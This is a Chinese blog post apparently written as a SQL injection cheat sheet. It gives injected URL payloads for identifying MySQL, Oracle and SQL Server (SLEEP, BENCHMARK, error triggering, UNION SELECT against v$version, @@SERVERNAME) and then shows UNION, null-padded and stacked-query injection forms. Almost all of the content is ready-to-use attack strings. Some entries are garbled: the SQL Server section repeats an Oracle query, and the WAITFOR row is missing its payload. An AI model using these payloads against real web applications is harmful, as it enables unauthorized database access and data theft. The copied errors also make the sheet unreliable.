数据库查询

DBMS标识

检测正在使用的数据库管理系统(DBMS)对于能够进一步利用注入至关重要。如果没有这些知识信息,就无法确定要查询的表,内置的函数以及要避免的检测。以下查询的成功响应标识正在使用所选DBMS。

注意:注释字符 – 放在查询之后,以删除查询后的任何命令,有助于防止错误。

MYSQL

描述查询方法
sleeppage.php?id=1’-SLEEP(1)=0 LIMIT 1 –
BENCHMARKpage.php?id=1’-BENCHMARK(5000000, ENCODE(‘Slow Down’,‘by 5 seconds’))=0 LIMIT 1 –
字符串连接page.php?id=’ ‘mysql’ –
报错 注意:通过无效语法触发数据库错误有时会返回包含DBMS名称的详细错误消息。page.php?id=’

Oracle

描述查询方法
字符串查询page.jsp?id =’
默认表page.jsp?id='UNION SELECT 1 FROM v$version –
报错 注意:通过无效语法触发数据库错误有时会返回包含DBMS名称的详细错误消息。page.jsp?ID =”

SQL Server

描述查询方法
WAITFOR函数page.jsp?id=’
默认变量page.jsp?id='UNION SELECT 1 FROM v$version –
报错 注意:通过无效语法触发数据库错误有时会返回包含DBMS名称的详细错误消息。page.asp?ID =”
报错 注意:如果id参数是整数,则@@ SERVERNAME变量的字符串值可能导致转换错误。page.asp?ID = @@ SERVERNAME
报错 注意:如果id参数是整数,则@@ SERVERNAME变量的字符串值可能导致转换错误。page.asp?ID = 0 / @@ SERVERNAME

提示

PHP应用程序通常使用MySQL数据库。

将查询转换为注入

既然已经确定了注入,本文章的其余部分将包含完整的查询方法。使用以下方法将这些查询插入注入点。其中SELECT @@version将作为示例查询。

描述查询方法
联合查询product.asp?id ='UNION SELECT @@ version -
联合子查询product.asp?id ='UNION(SELECT @@ version) -
Union null 注意:如果原始查询返回多个列,则添加null以等于列数注意:如果原始查询返回多个列,则添加null以等于列数product.asp?id ='UNION(SELECT @@ version,null) -
堆叠查询 注意:堆叠查询并不总是返回结果,因此它们最适合用于更新/修改数据的注入。product.asp?id=’; SELECT @@version –
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值